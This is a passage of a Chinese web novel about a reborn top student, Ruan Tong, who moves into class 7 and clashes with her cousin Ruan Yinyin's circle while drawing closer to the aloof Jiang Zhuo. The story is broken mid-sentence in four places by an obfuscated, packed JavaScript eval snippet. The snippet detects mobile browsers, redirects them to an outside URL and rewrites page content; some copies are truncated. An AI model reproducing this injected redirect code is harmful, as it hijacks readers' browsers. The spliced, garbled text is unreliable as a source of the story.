元曦曦对比着两道队伍,明显是陈修然那边的队伍移动得更快些。 于是,元曦曦果断舍近求远,选择了靠近教室门口的陈修然的队伍。她放下手里的零食,排了排指尖残留的零食渣,站起身来,“阮瞳,我们也去领书吧!” “嗯,好。” 她们的座位在第五排,和最后两排挨得很近。阮瞳一站起身,就看到教室最后两排的座位处,姜酌他们没着急排队领书,正拿着手机打游戏。 在经过裴子逸和姜酌身边时,阮瞳没忍住多看了两眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923950|192689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这种场景对于在竞赛班读了三年的她来说,真的挺新奇的。 不仅是因为竞赛班的老师严令禁止学生带手机,更是因为竞赛班的学生没有玩手机的需求。在学校时,大家除了上课就是写题。即便真有一两个带了手机,也不会光明正大拿出来玩,最多在课间偷偷摸摸地看两眼。 原来普通班的学生是会光明正大在教室玩手机的。 阮瞳的目光不可避免地落在低着头的姜酌身上,他长而密的睫毛低垂着,随着眨眼的动作,眼尾那颗小小的黑痣若隐若现,愈发勾人。 就在这时,姜酌突然抬起了头,黢黑的眸子正好对上阮瞳的视线。他的薄唇抿成一条直线,“看什么?” 他的声音不像十年后那般低沉,带着一点少年的清冽,语气里的直接倒是如出一辙。 “阿酌!对面打野一刀了!”裴子逸边丢技能边忙里偷闲看了眼姜酌,不明白正是团战的关键时候,他为什么会突然停下。 姜酌喉间微动,他收回视线,手指灵活地操纵着角色收割了对面打野的人头。 等对面团灭,裴子逸坐直身,活动了下肩颈,“阿酌,刚刚怎么突然……”他刚想问刚才的事,就发现姜酌的视线落在教室的某一处。 裴子逸循着他的视线望去,看清教室后门排着队的女生时,微微上挑的桃花眼里闪过一丝戏谑。他状似无意地开口:“诶,那不是一班的,叫什么来着……阮瞳?” 蒋劲飞快地敲着手机屏幕,他忙于和对面的射手互喷,闻言,他头都不抬地嗤笑道:“一班?尖子生怎么可能到七班来?裴子逸你不是在发梦吧?” 裴子逸没理会蒋劲,他注意到姜酌在听到“一班”和“阮瞳”时,领取游戏奖励的手指顿了一下。 裴子逸心里顿时乐开了花,脸上却故作正经,强行克制住上扬的嘴角。 不是他大惊小怪,而是从高一下学期起,他就一直怀疑姜酌有格外关注的人。 明明七班的教室在三楼,姜酌每次上下楼时,却偏偏要从二楼的走廊走,路过竞赛班时还总会装作不经意地望向教室里。 之前,裴子逸一直不能确定姜酌到底在看谁。现在,答案似乎昭然若揭了。 后门只站着两个女生,一个是他曾经在八班看到过的女生,另一个是传闻中的阮瞳。 以裴子逸对姜酌的了解,他一向不在意旁人目光,更不用提主动攀谈了。然而,他刚刚却破天荒地和阮瞳说了话。 他怀疑这个关注对象大概率是阮瞳。 从前,裴子逸对年级排名并不上心,知道阮瞳的名字,也不过是从一起打球的男生口中听来。后来,裴子逸才得知她是竞赛班的尖子生。 名列前茅的她居然会来到吊车尾的七班?其中,会不会有什么不为人知的原因? 裴子逸没再说话,他佯装专注地翻看着游戏对局记录,余光却不动声色地观察着姜酌。 果然,没过几秒,姜酌便沉默地锁上手机屏幕,站起身,径直朝着教室后门处的队尾走去。 裴子逸吹了声口哨,掩不住面上的兴味盎然,赶紧跟了上去。 看来,答案已经很明显了。 8. 她与少年 一开始,阮瞳没注意身后站了人,直到……领完书往回走的同学因为过道太窄而不小心撞到她。 阮瞳一个没站稳,向后撞上一片坚硬温热的“墙”。 似曾相识的场景让阮瞳不由得一怔,她心里微动,向后微微仰起头,正好对上姜酌低垂的目光。 这个角度,阮瞳甚至清晰地看到那凸出的喉结上下滚动了下。 阮瞳:“……” 怎么无论是十年后还是现在,她遇到姜酌的时候,总会撞到他?她都要怀疑姜酌身上是不是装着磁铁了。 两人之间的距离近到她能闻到姜酌身上淡淡的皂荚味,这股味道和十年后的姜酌身上的檀木香完全不同,这让阮瞳愈发清晰地意识到,此刻站在她面前的人是少年时期的姜酌。 在耳尖不经意间擦过姜酌的胸膛,听到那沉稳的心跳声时,阮瞳如梦惊醒般站直了身。 那股清新的皂荚味仍萦绕在鼻间,阮瞳不自在地垂眼望向地面,浓密挺翘的眼睫轻颤着,嗓音难得带上一丝窘迫:“不好意思。”撞上就算了,她刚刚居然还愣在原地。 随着阮瞳站直身,扬起的发丝带起一阵风,清甜的果香混合着小苍兰的气息掠过姜酌的鼻尖。 姜酌神色一凛,本能地想要留住那转瞬即逝的味道,这反而让他凌厉的眉眼更加冷峻。 目睹全程的裴子逸不禁咂舌,生怕姜酌这副模样给阮瞳留下不好的印象,他赶紧从姜酌身后探出脑袋,“没事没事,这力度对姜酌来说跟挠痒痒似的。” 见阮瞳抬眸,裴子逸这才看清她洁白无瑕的脸颊和精致俏丽的五官,就连校服领口的扣子也是规规矩矩扣到最上面,俨然一副好学生的模样。看起来,和他们完全不是一路人。 “阮瞳,没事吧?”元曦曦瞥了眼阮瞳身后的姜酌,飞快地凑到她身边低声问道。 “没事,只是没站稳。”阮瞳笑着回答她,没再管身后的姜酌和裴子逸,脑海里却回想着方才余光瞥见的场景。 姜酌好像第一时间就注意到她这边的动静,右手微抬起悬在半空中,像是在防止她会真的摔倒。 姜酌他……是这么热心、体贴、绅士的人吗?他会这样对待刚认识的同班同学吗? 还是说,她先前的想法是错误的?早在她不知道的时候,姜酌已经认识她了? 突然,一道如有实质的视线打断了阮瞳的思绪,她抬起眼,只看到阮茵茵慌忙收回视线。 可偏偏,阮茵茵身边的女生仍不停打量着她,从神情就能推测出她没在说好话。 阮瞳唇间溢出一声轻笑。 说到底,高中时候的阮茵茵还是太单纯,在掩饰情绪和想法方面,完全是个青铜。 结合她之前的举动,阮瞳已然确定原著里阮茵茵高中时期的暗恋对象是谁了。 别的不说,阮茵茵这方面的眼光确实不错。 …… 等阮瞳和元曦曦抱着课本回到座位时,除了班长和排在她们后面的姜酌三人,班上其他人基本都离开了。 当然,也有例外。 “茵茵,快去呀!现在没什么人了。” 虽然这道声音压得很低,但阮瞳一向听觉灵敏。几乎是话音刚落,她便注意到了。 阮瞳慢条斯理地将课本一一收进课桌,借着一旁元曦曦的遮挡,不动声色地观察着后排的动静。 阮茵茵脸颊绯红,她拿着丝带系着的透明礼品袋,缓缓走到姜酌的座位旁。许是顾及还留在教室里的阮瞳,她的嗓音压得很低,“姜酌,这是我做的生巧曲奇,希望你可以尝尝。” 随着阮茵茵的靠近,馥郁到腻人的玫瑰味迎面扑向姜酌,不过一瞬,他身上沾染上的那点小苍兰的幽香就被吞噬殆尽。 姜酌微微拧起眉头,他掀起眼皮,凌冽的眉眼带着浓浓的不耐烦,“拿走。” 见状,给阮茵茵加油打气的俞可欣走到阮茵茵身边,“姜酌你就收下吧,茵茵为了做这个曲奇费了好大功夫。” 听到俞可欣的话,阮瞳差点笑出声,真不知道她究竟是来帮阮茵茵的,还是来捣乱的。 这难道不是在道德绑架姜酌吗?难道就因为阮茵茵“费劲”做了曲奇,姜酌就一定要收下吗? 诚然,有的男生会碍于情面和其他原因,收下不喜欢的女生送的礼物,但很明显,姜酌并不属于这一类人。 果不其然,姜酌唇间发出一声嗤笑,他淡淡睨了眼面前扭捏不安的阮茵茵,“别给我来这套,拿走。”鼻间那股浓郁的味道迟迟没有消散,他蹙起眉,向后撤了半个身位。 阮茵茵将姜酌的动作尽收眼底,脸色刹那间变得煞白,几乎无法维持面上的笑容。她手指捏紧包装袋,最终还是无法忍受这种耻辱,甩开俞可欣的手,跑出了教室。 “茵茵!”俞可欣拿上阮茵茵的书包追了出去。 目睹全程的蒋劲瞠目结舌,“这……阮茵茵都被拒绝多少次了,怎么还没放弃酌哥啊?我都有点佩服她了。”他端起黑屏的手机,左右打量着容貌,“怎么就没有妹子看上我呢?” 裴子逸嘴角抽了抽,“你小子能不能有点自知之明。长相、身材、声音,你有哪样比得过阿酌?你走他身边,别人还能注意得到你?” “这倒也是。输给酌哥,我心服口服。”蒋劲顿了顿,面上的疑惑不似作假,“可是……论身高和身材,我不比你好?怎么连你都有人表白,就是没人和我表白?” 裴子逸:“……”得嘞,他就不该搭理蒋劲这个缺心眼。 姜酌收拾书包的手一顿,眼眸中透着些许无语,他不觉得这种不管不顾、一意孤行的“持之以恒”是什么好事。 听到他们的对话,阮瞳眼底闪过笑意。看来,在朋友面前,姜酌还是会卸下防备,流露出这个年纪的男孩子所特有的肆意、鲜活。 阮瞳没再逗留,收拾好书包,和元曦曦一起离开了教室。 等走到没人的地方,憋了许久的元曦曦终于能够一吐为快,“我真服了阮茵茵了。从高一到现在,姜酌都不知道拒绝她多少次了。” 见阮瞳没搭腔,元曦曦也毫不在意。 元曦曦一向是个颜控,见到阮瞳的第一眼,就对她心生好感。在后来的接触里,元曦曦更是发现阮瞳身上没有半点优等生的清高和坏脾气,反而是个实打实的慢热性子。 这更加坚定了元曦曦要和阮瞳交好的念头。毕竟,她们是同桌,她比班上其他任何人更有可能和阮瞳成为朋友。 对于元曦曦而言,在枯燥无味的高中生活里,拥有一个赏心悦目、成绩优异的同桌比什么都重要!她绝对不是馋阮瞳的作业! 见阮瞳侧头认真聆听,元曦曦便继续说道:“我跟你说哦,本来姜酌态度没这么差的,结果阮茵茵被拒绝之后,还隔三岔五给姜酌送这送那。姜酌不收,她还硬是缠着姜酌……” 阮瞳安静听着,她记得阮茵茵高中三年都在七班,而元曦曦高一是在八班的,就连她都知道阮茵茵的事迹。可见,她这好堂妹过去一整个学年里,是半点心思都没放在学习上。 “对了,阮瞳,”元曦曦停顿了下,“班上有些人……如果知道你以前是一班的,可能会对你不太友好。” 闻言,阮瞳眉梢微挑,她预想过和阮茵茵交好的人会为难她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“想吃什么就告诉阿姨,阿姨给你做。”王阿姨怜惜地望向低着头乖巧喝汤的阮瞳,她儿女缘分浅,丈夫因病去世后,唯一的女儿也因为车祸离世。经过这些年的相处,在她眼中,阮瞳早就不单纯是雇主的女儿了。 在可以信赖的王阿姨面前,阮瞳难得流露出些许孩子气,她抱住王阿姨的胳膊晃了晃,“谢谢阿姨!那明天早上我想吃酱香饼!” “好好好,就知道你想吃酱香饼了。”王阿姨点了点阮瞳的鼻尖,眉眼间皆是笑意。 …… 等阮瞳吃完饭,回到房间时,她随手拿起床头柜上的手机看了一眼,果不其然收到了文颖的消息。 “瞳瞳啊,听茵茵说你和她分到了同一个班,平时要多照顾妹妹啊!” 看清消息的瞬间,阮瞳握紧手机,那些被她刻意压制的记忆,如潮水般汹涌袭来。 阮瞳的呼吸骤然急促起来,胸口闷得发痛。她深深吸了口气,慢慢吐出,重复几次后,终于强迫自己冷静了下来。 既然文颖没在消息里问她为什么会分到七班,那她应该是已经联系过阮戚风,并从他那里得到了解释。 只是不知道文颖会相信多少? 文颖信不信并不重要,无论怎样,文颖都不会想到她真正的意图。毕竟,在文颖心目中,她一直是被大人掌控在手心中的傀儡,是那个乖巧懂事、总是谦让妹妹的好姐姐。 从小到大,每次两家人来往时,只要文颖说“你是姐姐,要多照顾妹妹”和“妹妹还小,你多让让她”,阮瞳就会心甘情愿地让出所有。 可是……阮瞳和阮茵茵的生日只不过差了几个月,她为什么要一而再、再而三地谦让?让到最后的结果就是家破人亡,把所有的东西都让给他们一家? 阮瞳扯了扯嘴角,掩不住面上的嘲讽。既然文颖都这么说了,她自然会好好“照顾”阮茵茵的。 只是……不知道,阮茵茵承不承受得起她这份照顾。 9. 抢课代表 随着周一的到来,阮瞳的高二生活正式拉开帷幕。 七班的上课氛围比她想象中的更井然有序。虽然不乏走神、睡觉和玩手机的同学,但没有人公然喧哗,影响其他人听课。 早上第二节课下的大课间,除去做广播操的时间,有足足二十分钟的自由时间。 大课间的七班,教室里有着不同于竞赛班的喧闹,无论男生还是女生,都三三两两凑在一起聊着天。 在教室里坐不住的蒋劲刚回教室,就一手揣着篮球,撺掇着裴子逸和姜酌去球场打球。 阮瞳从书包里翻出高一的物理笔记,心无旁骛地翻看着。对她来说,这种程度的背景音刚好是白噪音,能让她更加专注、平静。 然而,这份表面上的平静没能维持太久。 七班的班委在报道那天就已确定,但每门学科的课代表却是要由任课老师决定的。 语文老师梅鸣和数学老师高志彬都是一上课就确定了课代表,都是以前七班当过课代表的学生。 阮瞳本以为其他学科的老师选课代表也会按照这个标准,但没想到英语课上,英语老师乔菀刚发完分班考试的答题纸,就点了她的名。 “阮瞳。” 阮瞳正检查着她主观题的扣分情况,骤然听到老师喊她的名字,不由得一顿。她没理会落在身上的数道视线,平静地站起身,“到。” 乔菀看了眼成绩单的榜首,望向阮瞳的目光中带着欣赏,“这次分班考试,你的英语成绩非常优秀,116分,年级单科第一。你来做英语课代表吧。” 话音刚落,教室里响起一片惊呼和窃窃私语。 “多少?116?” “逆天,满分不是才120吗?” “她不会是一班那个阮瞳吧?怎么来我们班了?” “尖子生来七班……啧,这下有好看的了。” 乔菀这一举动,无疑让阮瞳彻底在七班暴露。大家都意识到她就是高一学年始终位列年级排名前列的阮瞳。 见状,阮瞳只好应下,她能感觉到落在她身上的视线夹杂着好奇和嘲讽,但最让她无法忽视的是来自教室中间的一道目光。 坐下时,阮瞳不动声色地用余光瞥向教室中间,只看到阮茵茵被头发遮住的侧脸,她露出的下颌线微微紧绷着。 阮瞳的眉头一皱,她当上英语课代表和阮茵茵有什么关系? 然而,阮瞳的疑惑很快便得到了解答。 …… 为了让放假归来的学生收心,分班考试的试卷出得格外偏和难。英语试卷尤为突出,阅读理解的生词量很多,反而让这部分失去了讲解的必要。 乔菀只花十五分钟讲解了选择题和主观题的内容。之后,她打开多媒体,正式开始讲解课本第一单元的内容。 对于上过大学英语和研究生英语课程的阮瞳来说,再听高中英语就像满级通关新手村,只是看一遍课本上的词组搭配,她就能举一反三,快速掌握知识点。 在听课的间隙,阮瞳甚至写完了习题册对应的题目。 英语课下,阮瞳将课本收进课桌里,她刚拿出语文和数学的习题册,就感觉椅子被人不轻不重地踢了一下。 与此同时,身后传来一个吊儿郎当的声音:“喂,你真是一班那个阮瞳?” 阮瞳缓缓回头,在看清后座男生的长相后,想起了他是谁。 是报道那天,围着阮茵茵转的男生之一。 男生面上带着令人不适的打量,他身体前倾,快要越过课桌凑到阮瞳面前。 没等阮瞳开口,元曦曦先忍不住了,她将课本拍在课桌上,皱眉道:“郑嘉禾,你干嘛呢!” “关你屁事?”郑嘉禾不屑地斜了元曦曦一眼,又看向阮瞳,语气更加不逊,“优等生,问你话呢。是不是在一班混不下去了,才来我们七班找优越感啊?一个课代表而已,抢得这么起劲?” 阮瞳眉头微微簇起,她主动后退,拉开了距离。 前一世,她一直没有谈恋爱的想法,很大一部分原因就是她见过太多“自来熟”的男生。他们好像生来就不懂得保持距离的意义,总是在不适宜的时机,“大大咧咧”地越过礼貌的社交距离。 阮瞳很反感这一点,无论他们是出于什么目的。 想到这里,阮瞳一愣,无论是十年后,还是现在,她好像从来没有反感过和姜酌的接触…… 阮瞳的思绪仅发散了一瞬,她迅速收敛心神,敏锐地注意到四周的人都停下了手上的动作,正隐晦地打量着她和郑嘉禾。 说实话,阮瞳不是太高调的人,这种私人层面的恩怨情仇,她不想太引人注目。 不过,既然对方已经主动挑事,她自然不会畏缩。 想到郑嘉禾和阮茵茵来往密切,以及他方才话里话外的意思,阮瞳已然明白是怎么回事。 没想到,不经意间,她居然抢走了阮茵茵想要的东西。怪不得……英语课上,阮茵茵会是那个反应。 阮瞳的唇角微微弯起,梨涡若隐若现。 郑嘉禾一怔,没想到她居然还笑得出来。 “这位同学,我不太明白你说的抢是什么意思。这个位置什么时候被预定了?还是说,在你眼里,老师选课代表不是看成绩,而是看谁……”阮瞳刻意停顿了一下,她歪了歪头,语气迟疑不决,“关系更好?” “噗!”周围有人忍不住笑出声,没想到这个看起来乖巧柔弱的好学生怼起人来居然这么狠。 郑嘉禾的脸瞬间涨成猪肝色,像是被踩了尾巴的猫一样,“你他妈放屁!老子只是看不惯你这种……” “看不惯我考116分?”阮瞳毫不客气地打断他,面上不带一丝笑意,“还是看不惯老师没选你心目中的人?既然你这么不服气,不如让你想维护的人去考一个?到时候别说英语课代表了,就是班级第一、单科第一应该也不是问题吧?” 在阮瞳的印象里,阮茵茵高中时期的成绩一般,其中为数不多能算得上优秀的科目也就英语和数学了。 不过……也只是相对而言。 没记错的话,阮茵茵的英语成绩一般在95分上下徘徊,原来这个分数就能当课代表吗? 不远处,一直关注着阮瞳和郑嘉禾动静的阮茵茵死死低着头,做了裸粉色猫眼的指甲紧紧掐进掌心。她没想到阮瞳会毫不留情地在全班面前用分数打她的脸,这种赤裸裸的羞辱,让她自惭形秽。 让阮茵茵更加无法忍受的是阮瞳从小到大都会让着她,为什么这一次没再让? 正是仗着阮瞳这份谦让,阮茵茵才没有在第一时间出声制止郑嘉禾,而是放任了他对阮瞳的挑衅。 或许,阮瞳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923952|192689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道郑嘉禾是在替她出头?如果她知道了,肯定不会这么不留情面。 阮茵茵只能强忍着心底翻涌的情绪,自我安慰。 另一边。 郑嘉禾被阮瞳堵得哑口无言,他紧握着拳头,额头青筋暴起。 在经历了前世那一遭,阮瞳早就看透这种遇到事就想用武力解决问题的人。她唇角的弧度倏地拉平,她定定看着郑嘉禾,“怎么?你觉得我说的有问题吗?” 如果郑嘉禾真的敢在这里动手,那么,阮瞳不介意在收拾阮茵茵之前,先拿他练手。 郑嘉禾原以为像阮瞳这样的书呆子在大庭广众下被刁难时,会惊慌失措、六神无主。他万万没想到她竟然这么伶牙俐齿。 那清冷的眼眸望向他时,郑嘉禾竟汗毛倒竖,所有的话都硬生生卡在了喉咙里,一时不知如何是好。 就在这时,一声轻笑声从不远处传来。 “该说不说,我还是第一次见一个大男人欺负一小女生,”裴子逸随手合上课本,向后靠上姜酌的课桌,一只手随意搭在他的课桌上,“阿酌,你说呢?是不是太丢我们男生的脸?”他语气微微上扬,但那桃花眼却不带半点笑意。 阮瞳没想到裴子逸会掺和进来,她本想从裴子逸脸上看出他的意图,却意外地注意到他搭在姜酌桌上的手看似随意,实际上紧摁着姜酌的手腕,像是在强行摁着想要突破牢笼的野兽。 阮瞳心里一颤,沿着那道身影向上望去,只看到姜酌紧绷的手臂和脖颈上凸起的青筋,无不彰显着他此刻并不平静的心情。 他此刻的模样……几乎和十年后那道身影完全重合。 阮瞳现在知道裴子逸出头的原因了。看起来,他很了解姜酌,知道他此刻再不开口,姜酌很有可能会出手。 而那绝对不是阮瞳想要看到的结果。 在看到姜酌的表情后,郑嘉禾心里的怒气瞬间泄了气。他可以不把元曦曦、阮瞳和裴子逸放在眼里,却不能不忌惮姜酌。班上其他人或许不知道姜酌是什么样的人,他却是知道的。 郑嘉禾悻悻地啐了一口,只能假装要上厕所,走出了教室。 看着郑嘉禾黯然离开教室的背影,阮瞳心里没有半点轻松。 她已然确定,姜酌在此之前就已经认识她了。 说她心里毫无波澜,那一定是假的。姜酌又一次不由分说地站在了她这边。 可是,她不想姜酌再像十年后那样,因为她,有被其他人记恨、报复的可能性。 这是阮瞳重活一次后,想极力避免的事情之一。 元曦曦不懂阮瞳心里的纷乱,她激动地凑过来,“阮瞳,你刚才帅炸了!”阮瞳的举动彻底颠覆了她先前对阮瞳的印象,她并不是一个乖顺温和,只会学习的优等生。 闻言,阮瞳回过神,她暂时放下姜酌的事,冲元曦曦笑了笑,“谢谢。” 见事情解决,裴子逸舒了口气,他松开摁着姜酌的手,低声道:“阿酌,不要冲动。或许,她可以自己解决的。”旁人不恰当的介入只会让情况变得更糟。 姜酌没理会裴子逸,目光始终追随着阮瞳,看到她转瞬即逝的笑容后,他紧抿的唇角终于松动些许。 他知道。 或许,她并不需要他的保护,但他……无法坐视不理。 就像曾经的阮瞳一样。 10. 七班风云 许是姜酌那天的威慑起了作用,郑嘉禾没再惹事,阮瞳度过了几天相当安稳的学习生活。 自习课上。 班主任梅鸣坐在讲台前维持着班级的纪律,教室里静悄悄的,大多数人懒散地写着作业。 这几天,阮瞳没再把周一发生的事情放在心上,她现在对姜酌的了解太少,即便真要感谢他,也缺少一个契机。 阮瞳索性全身心投入到学习中,在完成老师布置的作业的前提下,她利用闲暇时间,系统回顾起高一的课程。 英语暂且不提,语文和数学只要多翻书、多做题就能慢慢回忆起知识点,但物理和化学是一环接一环的。 目前,她需要抓的是物理和化学的进度,其次是副课的生物和地理。 至于政治和历史,借助思维导图,多背诵几遍,基本就能掌握。 下课铃响起时,阮瞳刚好看到力的合成分析,书上的例题刚看了两道。若是以往,她会看完这部分再去吃饭。 不过,一想到前世的她因为饮食不规律而得了胃病,阮瞳便合上了课本。 不仅是因为这一点,更是因为元曦曦在课间就说了晚上要一起去食堂吃饭。 通过几天的相处,阮瞳慢慢摸清了元曦曦的性子,也确定她是七班为数不多的不喜欢阮茵茵的人。 经历前世那一遭后,阮瞳心防很重。可以说,除了王阿姨和阮戚风以外,所有人都被她划在一条线之外。 即便知道元曦曦心思单纯,为人赤忱,阮瞳还是无法在短时间内对她敞开心扉。相处时,她会听阮茵茵吐槽和倾诉,却很少提起她自己的事和想法。 好在,元曦曦似乎并不在意她的“慢热”,在确定阮瞳并不反感肢体接触后,元曦曦偶尔还会亲昵地挽住她的手臂。 见阮瞳合上课本,元曦曦飞快丢下手里空了大半的物理作业,“总算下课了!我早就饿了……你应该没听到我肚子叫吧?”元曦曦挽住阮瞳的手臂,光是想象到这种可能性就尴尬得让她眼神飘忽起来。 阮瞳摇了摇头,她学习的时候,大脑会自动过滤外界的声音,除非外力干预,否则她不会轻易被干扰。 元曦曦这才松了口气,“那就好,你有没有什么想吃的?听说食堂二楼新开了一家砂锅,我们去尝尝?” 阮瞳从书包里摸出饭卡,笑了笑,“好。”她对吃的不怎么挑,只要干净卫生就行。 站起身后,阮瞳漫不经心地瞥向阮茵茵的位置,只见她和俞可欣并没有去食堂,而是各自带了便当,正有说有笑地打算去教师办公室借微波炉。 说到阮茵茵,阮瞳倒是有些意外。开学到现在,她这个堂妹似乎一直在避免和她接触,偶尔擦肩而过时,阮茵茵也视而不见,仿佛两人从不相识。 看来,阮茵茵是真的不想在学校和她扯上一点关系,又或者说,是在等她主动搭话? 毕竟,在此之前,阮瞳一直以为步入青春期的阮茵茵性格变得内敛腼腆,不爱说话。每次见面,都是阮瞳主动搭话,带着阮茵茵一起玩。 阮瞳扯了扯嘴角,没再关注那边的动静,刚经过教室后排,便听到桌椅碰撞发出的声音。 等走出教室,阮瞳似有所感地回头。 姜酌像是没睡醒般耷拉着眼皮,本就凌厉的五官因为困意看起来更加锐利。他抬手压了压翘起的头发,校服短袖被带着向上偏移,沟壑分明的腹肌和人鱼线若隐若现。 阮瞳的视线一顿,一向温和的杏眼骤然睁大,一时间竟忘记移开视线。 前世,工作之余,她有时候会刷视频解闷,也刷到过不少健身博主的健身成果,但这还是她第一次亲眼看到男生的身材。 不得不说,姜酌的身材并不比她以前看过的差。 高二时期还没近视、裸眼视力5.0的阮瞳甚至一眼就看到姜酌腰腹处的一颗黑痣。 他的痣真的很会挑地方长。 在姜酌抬头之前,阮瞳迅速收回视线,不料早有人将她细微的反应尽收眼底。 裴子逸用手肘杵了杵姜酌,班上只有他敢这样对姜酌,毕竟他和姜酌是从小学起就认识的老相识。他语气揶揄:“刚刚,有人看了你好久。” 姜酌:“……”他只是没睡醒,不是眼盲。睡眼朦胧里,他察觉到阮瞳的视线短暂在他身上停留了几秒。 只是,他没想到在裴子逸眼里,几秒能算是“好久”。 “阿酌,你说女生是不是都喜欢肌肉?”裴子逸伸手碰了碰姜酌紧实的腰腹,没想到看起来乖巧单纯的好学生原来喜欢这一挂。 姜酌面上的神情第一次出现了裂痕,他垂眸望向正低头比对着两人腹部的裴子逸,嘴角抽了抽,率先往楼梯口走去。 裴子逸:“……”死装!摸一下怎么了?!多少年的兄弟了,还这么吝啬! - 然而,看似平静的校园生活,早已暗流涌动。 在阮瞳无所察觉的角落,关于她为何从一班跌落的揣测逐渐在七班流传开来。 周五早上的大课间。 做完广播操,回到教室后,阮瞳拿着水杯去教室角落的饮水机处接水。 元曦曦去隔壁班找以前的同学聊天,姜酌等人留在操场打球,因而,教室的这一隅有些空荡荡的。 饮水机前,俞可欣正弯着腰接水,看到阮瞳过来,水都不接了,脸上堆起一个笑容,“哟,这不是一班的尖子生吗?在我们七班当课代表,感觉怎么样?”她上下打量着阮瞳,在看清阮瞳素颜情况下依然细嫩白皙的皮肤和俏丽的五官时,嘴角一抽,眼神愈发不善。 阮瞳掀起眼皮,淡淡睨了俞可欣一眼,经过这几天的观察,她知道俞可欣是阮茵茵最忠实的拥趸。不仅座位紧挨着阮茵茵,就连上下学、课间去卫生间和小卖部都紧跟着阮茵茵,两人仿佛是连体婴儿般,生怕旁人不知道她们关系好。 对于这种程度的质疑,阮瞳置若罔闻,见另一个接水口空出来,她直接绕过俞可欣,拧开水杯,将杯口对准接水口。 俞可欣被阮瞳漠然的态度激怒,她用力地盖上杯盖,冷笑了声,“有的人脸皮真是厚。抢了别人的东西,还能装得跟没事人一样。别人当课代表,为大家做了多少事?收作业、发笔记,任劳任怨。有的人除了会考试,还会什么?怕是连作业都收不齐吧?” “就是,会考试了不起啊?谁知道她到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923953|192689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为什么从一班掉到七班的啊?英语老师也真是的,选课代表居然只看分数不看人品。”和俞可欣站在一起的路秋涵帮腔,眼神意有所指地瞟向阮茵茵的座位。 教室正中间,阮茵茵垂眸望向手中的课本,阳光透过玻璃窗照在她脸上,整个人透着恰到好处的落寞和隐忍。 “嘘……人家可是一班来的优等生,心气高着呢,哪听得进我们的话。”俞可欣故作夸张地戳了戳路秋涵,示意她不要再说。 阮瞳没理会俞可欣拙劣的表演,垂眼看着水流注入杯子。她本以为阮茵茵真能沉得住气、不作妖,没想到原来是在这等着她呢? 阮茵茵这一步走的相当微妙。 如果阮瞳不够细心,不知道郑嘉禾和阮茵茵的来往,恐怕还不知道郑嘉禾是在为谁义愤填膺。然而,现在俞可欣和路秋涵却是将阮茵茵摆上明面了。 阮瞳是无所谓,只是不知道,等她们堂姐妹的关系暴露后,别人会怎么看待阮茵茵等人对她的为难? 阮茵茵真是不怕玩火自焚。又或者说,正是顾虑到这一点,阮茵茵才一直采用这种借刀杀人的方式。 阮茵茵学习成绩不怎么样,玩弄人心倒是别出心裁,她甚至不用多说什么,只是安静坐在座位上,摆出一副泫然欲泣的模样,就能让旁人为她冲锋陷阵。 先是郑嘉禾,现在又是俞可欣…… 阮瞳突然有点好奇,七班还有多少人可以为她所用?这些人又都是出于什么原因,为阮茵茵出头? 她不相信这个世界上会有无理由的偏爱,每个人的行动必然是有目的性的。 好比郑嘉禾,别看他对班上其他女生鼻子不是鼻子,眼睛不是眼睛的,对阮茵茵却格外不同。课间,老师前脚刚走出教室,他就跑到阮茵茵的座位旁,眼巴巴地挤在女生堆里和她聊天。有时候,阮茵茵被逗笑了,笑着拍郑嘉禾的头或手臂,他都能傻乐很久。因而,他为阮茵茵出头的目的昭然若揭。 那俞可欣和路秋涵呢?单纯因为她们是阮茵茵的好友,同仇敌忾吗?还是说……有更深层的原因? 眼看着水快漫到杯口,阮瞳思绪骤然回笼。她不紧不慢地拧紧杯盖,一转身,才发现俞可欣和路秋涵还站在她身旁,两人一左一右将过道挡得严严实实的。 想起两人方才一唱一和的对话,阮瞳嘲讽地勾了勾嘴角,目光淡淡扫过俞可欣,“说完了?”她顿了顿,望向被俞可欣挡在身后的赵嫣然,“说完了可以让开了吗?你挡着其他同学接水了。” 闻言,在俞可欣身后目睹了全程的赵嫣然一愣,她下意识抱紧怀里的水杯。她没想到阮瞳会在第一时间注意到她的窘境,明明……方才的她因为怯懦,选择沉默地在一旁围观。 